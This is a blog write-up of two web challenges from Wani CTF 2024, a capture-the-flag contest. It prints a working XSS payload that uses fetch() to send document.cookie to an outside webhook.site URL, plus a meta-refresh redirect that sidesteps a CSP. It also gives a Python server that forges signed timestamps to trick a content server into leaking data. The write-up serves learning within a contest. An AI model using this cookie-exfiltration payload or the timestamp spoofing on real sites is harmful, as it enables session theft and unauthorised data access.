Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Wani CTF 2024 Web Write-up

Introduction


Actually a good light CTF after back from Hacktheon Sejong.


noscript

Image in a image block
Image in a image block

For this challenge, we were given a website where you could input your username ,profile and also the source code.

The flag is contained in the bot which means this is an XSS challenge!

  const cookie = [
    {
      name: "flag",
      value: FLAG,
      domain: HOST,
      path: "/",
      expires: Date.now() / 1000 + 100000,
    },
  ];

After further inspection, we found that the server the /user endpoint is guarded by a very strong CSP.

c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")

Another problem is that you can only report /user endpoint.

	r.POST("/report", func(c *gin.Context) {
		url := c.PostForm("url") // URL to report, example : "/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d"
		re := regexp.MustCompile("^/user/[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")

One good thing, is the /username endpoint is not guarded by anything, which makes it perfect for XSS. But how do we make the bot visit /username instead of /user?

	r.GET("/username/:id", func(c *gin.Context) {
		id := c.Param("id")
		re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$")
		if re.MatchString(id) {
			if val, ok := db.Get(id); ok {
				_, _ = c.Writer.WriteString(val[0])
			} else {
				_, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>")
			}
		} else {
			_, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>")
		}
	})
Solution

The solution is simple.

We can redirect the bot to /username using HTML <meta> tag and then it will visit our XSS payload and get us the cookie.

Set the username to:

<script>fetch('https://webhook.site/9dc131ee-4266-4339-b1d7-7956ba38ade2/'+document.cookie, {mode: 'no-cors'})</script>

Then set the profile to:

<meta http-equiv="refresh" content="0; url=/username/390f94bf-4011-4814-8f7c-4c64e37810ab">

and then report it.

Flag: FLAG{n0scr1p4_c4n_be_d4nger0us}
One day One letter

Image in a image block

For this challenge, we were given a website which will show you a letter of the flag day by day.

Looking into the source code of the current page, it seems to be getting the time from an external server, and it’s passing that time to another server.

const contentserver = 'web-one-day-one-letter-content-lz56g6.wanictf.org'
const timeserver = 'web-one-day-one-letter-time-lz56g6.wanictf.org'

function getTime() {
    return new Promise((resolve) => {
        const xhr = new XMLHttpRequest();
        xhr.open('GET', 'https://' + timeserver);
        xhr.send();
        xhr.onload = () => {
            if(xhr.readyState == 4 && xhr.status == 200) {
                resolve(JSON.parse(xhr.response))
            }
        };
    });
}

function getContent() {
    return new Promise((resolve) => {
        getTime()
        .then((time_info) => {
            const xhr = new XMLHttpRequest();
            xhr.open('POST', 'https://' + contentserver);
            xhr.setRequestHeader('Content-Type', 'application/json')
            const body = {
                timestamp : time_info['timestamp'],
                signature : time_info['signature'],
                timeserver : timeserver
            };
            xhr.send(JSON.stringify(body));
            xhr.onload = () => {
                if(xhr.readyState == 4 && xhr.status == 200) {
                    resolve(xhr.response);
                }
            };
        });
    });
}

Luckily, there’s a source code given, and easily we can just host our own timeserver and pass it to the getContent() server.

Solution

You can actually host your own timeserver + https and set your own timestamp in the server. Then, change the day one by one to leak the flag. So here, I set up my DigitalOcean server with LetsEncrypt https, along with this code.

# Example of our own timeserver
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from datetime import datetime
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

key = ECC.generate(curve='p256')
pubkey = key.public_key().export_key(format='PEM')

class HTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/pubkey':
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = pubkey
            self.wfile.write(res_body.encode('utf-8'))
            self.requestline
        else:
            # Set the desired timestamp here
            # Desired date: June 20, 2024
            desired_date = datetime(2024, 6, 20, 0, 0)  # Year, Month, Day, Hour, Minute
            desired_timestamp = int(desired_date.timestamp())  # Convert to Unix timestamp
            timestamp = str(desired_timestamp).encode('utf-8')
            h = SHA256.new(timestamp)
            signer = DSS.new(key, 'fips-186-3')
            signature = signer.sign(h)
            self.send_response(HTTPStatus.OK)
            self.send_header('Content-Type', 'text/json; charset=utf-8')
            self.send_header('Access-Control-Allow-Origin', '*')
            self.end_headers()
            res_body = json.dumps({'timestamp': timestamp.decode('utf-8'), 'signature': signature.hex()})
            self.wfile.write(res_body.encode('utf-8'))

handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)
httpd.serve_forever()
Flag: FLAG{lyingthetime}

Thanks for reading my write-up!